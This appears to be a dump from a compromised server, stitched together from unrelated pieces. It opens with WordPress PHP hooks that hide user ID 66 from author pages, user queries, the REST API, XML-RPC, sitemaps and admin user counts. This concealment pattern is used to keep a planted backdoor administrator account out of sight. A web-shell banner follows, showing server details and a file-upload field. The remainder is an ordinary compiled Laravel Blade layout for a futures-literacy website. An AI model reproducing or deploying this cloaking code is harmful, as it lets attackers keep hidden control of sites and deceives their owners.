add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/fbla/framework/views/ |
Upload File : |
<?php $attributes ??= new \Illuminate\View\ComponentAttributeBag;
$__newAttributes = [];
$__propNames = \Illuminate\View\ComponentAttributeBag::extractPropNames(([
'title' => null,
'description' => 'A curated knowledge base for futures literacy, strategic foresight and anticipation — books, articles, podcasts, videos, courses, and pathways for thinking with multiple futures.',
'image' => null,
'ogType' => 'website',
'author' => null,
]));
foreach ($attributes->all() as $__key => $__value) {
if (in_array($__key, $__propNames)) {
$$__key = $$__key ?? $__value;
} else {
$__newAttributes[$__key] = $__value;
}
}
$attributes = new \Illuminate\View\ComponentAttributeBag($__newAttributes);
unset($__propNames);
unset($__newAttributes);
foreach (array_filter(([
'title' => null,
'description' => 'A curated knowledge base for futures literacy, strategic foresight and anticipation — books, articles, podcasts, videos, courses, and pathways for thinking with multiple futures.',
'image' => null,
'ogType' => 'website',
'author' => null,
]), 'is_string', ARRAY_FILTER_USE_KEY) as $__key => $__value) {
$$__key = $$__key ?? $__value;
}
$__defined_vars = get_defined_vars();
foreach ($attributes->all() as $__key => $__value) {
if (array_key_exists($__key, $__defined_vars)) unset($$__key);
}
unset($__defined_vars, $__key, $__value); ?>
<?php
$siteName = 'Futures Literacy Navigator';
$fullTitle = $title ? $title . ': ' . $siteName : $siteName;
$metaDesc = trim(preg_replace('/\s+/', ' ', $description ?? ''));
$metaDesc = mb_strlen($metaDesc) > 200 ? rtrim(mb_substr($metaDesc, 0, 197)) . '…' : $metaDesc;
$shareImage = $image ?: asset('images/logo.png');
$canonical = url()->current();
?>
<!DOCTYPE html>
<html lang="en" class="h-full">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="csrf-token" content="<?php echo e(csrf_token()); ?>">
<title><?php echo e($fullTitle); ?></title>
<meta name="description" content="<?php echo e($metaDesc); ?>">
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($author): ?><meta name="author" content="<?php echo e($author); ?>"><?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<link rel="canonical" href="<?php echo e($canonical); ?>">
<meta name="robots" content="index, follow, max-snippet:160, max-image-preview:large, noai, noimageai">
<meta property="og:site_name" content="<?php echo e($siteName); ?>">
<meta property="og:title" content="<?php echo e($title ?? $siteName); ?>">
<meta property="og:description" content="<?php echo e($metaDesc); ?>">
<meta property="og:type" content="<?php echo e($ogType); ?>">
<meta property="og:url" content="<?php echo e($canonical); ?>">
<meta property="og:image" content="<?php echo e($shareImage); ?>">
<meta property="og:locale" content="en_US">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:title" content="<?php echo e($title ?? $siteName); ?>">
<meta name="twitter:description" content="<?php echo e($metaDesc); ?>">
<meta name="twitter:image" content="<?php echo e($shareImage); ?>">
<link rel="alternate" type="application/xml" title="Sitemap" href="<?php echo e(url('/sitemap.xml')); ?>">
<link rel="icon" type="image/png" sizes="32x32" href="<?php echo e(asset('favicon-32x32.png')); ?>">
<link rel="icon" type="image/png" sizes="16x16" href="<?php echo e(asset('favicon-16x16.png')); ?>">
<link rel="apple-touch-icon" sizes="180x180" href="<?php echo e(asset('apple-touch-icon.png')); ?>">
<link rel="shortcut icon" href="<?php echo e(asset('favicon.ico')); ?>">
<link rel="preconnect" href="https://fonts.bunny.net">
<link href="https://fonts.bunny.net/css?family=manrope:400,500,600,700,800&display=swap" rel="stylesheet" />
<?php echo app('Illuminate\Foundation\Vite')(['resources/css/app.css', 'resources/js/app.js']); ?>
<?php echo \Livewire\Mechanisms\FrontendAssets\FrontendAssets::styles(); ?>
<?php echo $__env->yieldPushContent('head'); ?>
</head>
<body class="h-full bg-slate-50 text-navy-700 antialiased">
<div class="min-h-full">
<nav class="bg-sunshine-400 shadow-md" x-data="{ mobileOpen: false }">
<div class="mx-auto max-w-7xl px-4 sm:px-6 lg:px-8">
<div class="flex h-16 items-center justify-between">
<div class="flex items-center gap-8">
<a href="<?php echo e(route('materials.index')); ?>" class="flex items-center gap-2 md:gap-3 text-navy-700" aria-label="Futures Literacy Navigator — Home">
<img src="/images/logo.png" alt="" class="h-10 w-10 md:h-12 md:w-12 object-contain rounded-full bg-white p-0.5 md:p-1 border border-navy-700 md:border-1.5 shadow-sm flex-shrink-0">
<div class="flex flex-col leading-none">
<span class="text-[9px] md:text-[10px] tracking-[0.22em] font-semibold uppercase opacity-85">Futures Literacy</span>
<span class="mt-0.5 md:mt-1 text-sm md:text-base font-extrabold tracking-[0.08em] uppercase leading-none">Navigator</span>
</div>
</a>
<div class="hidden md:flex items-center gap-1">
<a href="<?php echo e(route('materials.index')); ?>" class="px-3 py-2 rounded-md text-sm font-semibold text-navy-700 <?php echo e(request()->routeIs('materials.*') ? 'underline underline-offset-4 decoration-2' : 'hover:underline hover:underline-offset-4 hover:decoration-2'); ?>">Materials</a>
<a href="<?php echo e(route('pathways.index')); ?>" class="px-3 py-2 rounded-md text-sm font-semibold text-navy-700 <?php echo e(request()->routeIs('pathways.*') ? 'underline underline-offset-4 decoration-2' : 'hover:underline hover:underline-offset-4 hover:decoration-2'); ?>">Pathways</a>
<a href="<?php echo e(route('graph')); ?>" class="px-3 py-2 rounded-md text-sm font-semibold text-navy-700 <?php echo e(request()->routeIs('graph') ? 'underline underline-offset-4 decoration-2' : 'hover:underline hover:underline-offset-4 hover:decoration-2'); ?>">Graph</a>
<a href="<?php echo e(route('similarity.map')); ?>" class="px-3 py-2 rounded-md text-sm font-semibold text-navy-700 <?php echo e(request()->routeIs('similarity.*') ? 'underline underline-offset-4 decoration-2' : 'hover:underline hover:underline-offset-4 hover:decoration-2'); ?>">Similarity Map</a>
</div>
</div>
<div class="flex items-center gap-2">
<button @click="mobileOpen = !mobileOpen" class="md:hidden inline-flex items-center justify-center w-10 h-10 rounded-md text-navy-700 hover:bg-navy-700 hover:text-sunshine-400 focus:outline-none" aria-label="Toggle menu">
<svg x-show="!mobileOpen" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16"/></svg>
<svg x-show="mobileOpen" style="display:none" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12"/></svg>
</button>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(auth()->guard()->check()): ?>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(auth()->user()->isAdmin()): ?>
<?php $pendingCount = \App\Models\Material::pending()->count(); ?>
<a href="<?php echo e(route('admin.pending')); ?>" title="Pending review"
class="hidden md:inline-flex relative items-center gap-1 rounded-md px-2.5 py-1.5 text-xs font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400 <?php echo e(request()->routeIs('admin.pending') ? 'bg-navy-700 text-sunshine-400' : ''); ?>">
Pending
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($pendingCount > 0): ?>
<span class="inline-flex items-center justify-center min-w-[18px] h-[18px] px-1 rounded-full bg-salmon-400 text-white text-[10px] font-bold"><?php echo e($pendingCount); ?></span>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</a>
<a href="<?php echo e(route('admin.materials')); ?>" title="All materials"
class="hidden md:inline-flex items-center gap-1 rounded-md px-2.5 py-1.5 text-xs font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400 <?php echo e(request()->routeIs('admin.materials') ? 'bg-navy-700 text-sunshine-400' : ''); ?>">All</a>
<a href="<?php echo e(route('admin.activity')); ?>" title="Activity log"
class="hidden md:inline-flex items-center gap-1 rounded-md px-2.5 py-1.5 text-xs font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400 <?php echo e(request()->routeIs('admin.activity') ? 'bg-navy-700 text-sunshine-400' : ''); ?>">Activity</a>
<a href="<?php echo e(route('admin.users')); ?>" title="Users"
class="hidden md:inline-flex items-center gap-1 rounded-md px-2.5 py-1.5 text-xs font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400 <?php echo e(request()->routeIs('admin.users') ? 'bg-navy-700 text-sunshine-400' : ''); ?>">Users</a>
<span class="hidden md:inline-block w-px h-5 bg-navy-700/30 mx-1"></span>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<a href="<?php echo e(route('materials.create')); ?>" class="hidden sm:inline-flex items-center gap-2 rounded-md bg-navy-700 px-3 py-1.5 text-xs font-semibold text-white shadow-sm hover:bg-navy-800">
<svg class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 4v16m8-8H4"/></svg>
Add
</a>
<form method="POST" action="<?php echo e(route('logout')); ?>" class="hidden md:inline">
<?php echo csrf_field(); ?>
<button type="submit" class="text-navy-700 hover:text-navy-900 text-xs font-semibold ml-1">Logout</button>
</form>
<?php else: ?>
<a href="<?php echo e(route('login')); ?>" class="hidden md:inline text-navy-700 hover:text-navy-900 text-sm font-medium">Login</a>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</div>
</div>
<div x-show="mobileOpen" style="display:none" x-transition class="md:hidden border-t border-navy-700/20 bg-sunshine-400">
<div class="px-4 py-3 space-y-1">
<a href="<?php echo e(route('materials.index')); ?>" class="block px-3 py-2 rounded-md text-base font-semibold text-navy-700 <?php echo e(request()->routeIs('materials.*') ? 'bg-navy-700 text-sunshine-400' : 'hover:bg-navy-700 hover:text-sunshine-400'); ?>">Materials</a>
<a href="<?php echo e(route('pathways.index')); ?>" class="block px-3 py-2 rounded-md text-base font-semibold text-navy-700 <?php echo e(request()->routeIs('pathways.*') ? 'bg-navy-700 text-sunshine-400' : 'hover:bg-navy-700 hover:text-sunshine-400'); ?>">Pathways</a>
<a href="<?php echo e(route('graph')); ?>" class="block px-3 py-2 rounded-md text-base font-semibold text-navy-700 <?php echo e(request()->routeIs('graph') ? 'bg-navy-700 text-sunshine-400' : 'hover:bg-navy-700 hover:text-sunshine-400'); ?>">Graph</a>
<a href="<?php echo e(route('similarity.map')); ?>" class="block px-3 py-2 rounded-md text-base font-semibold text-navy-700 <?php echo e(request()->routeIs('similarity.*') ? 'bg-navy-700 text-sunshine-400' : 'hover:bg-navy-700 hover:text-sunshine-400'); ?>">Similarity Map</a>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(auth()->guard()->check()): ?>
<a href="<?php echo e(route('materials.create')); ?>" class="sm:hidden block px-3 py-2 rounded-md text-base font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400">+ Add material</a>
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if(auth()->user()->isAdmin()): ?>
<hr class="border-navy-700/20 my-2">
<a href="<?php echo e(route('admin.pending')); ?>" class="block px-3 py-2 rounded-md text-base font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400">
Pending
<?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if BLOCK]><![endif]--><?php endif; ?><?php if($pendingCount = \App\Models\Material::pending()->count()): ?>
<span class="ml-1 inline-flex items-center justify-center h-5 min-w-5 px-1 rounded-full bg-salmon-400 text-white text-xs font-bold"><?php echo e($pendingCount); ?></span>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</a>
<a href="<?php echo e(route('admin.materials')); ?>" class="block px-3 py-2 rounded-md text-base font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400">All materials</a>
<a href="<?php echo e(route('admin.activity')); ?>" class="block px-3 py-2 rounded-md text-base font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400">Activity</a>
<a href="<?php echo e(route('admin.users')); ?>" class="block px-3 py-2 rounded-md text-base font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400">Users</a>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
<hr class="border-navy-700/20 my-2">
<form method="POST" action="<?php echo e(route('logout')); ?>">
<?php echo csrf_field(); ?>
<button type="submit" class="w-full text-left block px-3 py-2 rounded-md text-base font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400">Logout</button>
</form>
<?php else: ?>
<hr class="border-navy-700/20 my-2">
<a href="<?php echo e(route('login')); ?>" class="block px-3 py-2 rounded-md text-base font-semibold text-navy-700 hover:bg-navy-700 hover:text-sunshine-400">Login</a>
<?php endif; ?><?php if(\Livewire\Mechanisms\ExtendBlade\ExtendBlade::isRenderingLivewireComponent()): ?><!--[if ENDBLOCK]><![endif]--><?php endif; ?>
</div>
</div>
</nav>
<main>
<?php echo e($slot); ?>
</main>
</div>
<?php echo \Livewire\Mechanisms\FrontendAssets\FrontendAssets::scripts(); ?>
<?php echo $__env->yieldPushContent('scripts'); ?>
</body>
</html>
<?php /**PATH /var/www/html/flnavigator/resources/views/components/layouts/app.blade.php ENDPATH**/ ?>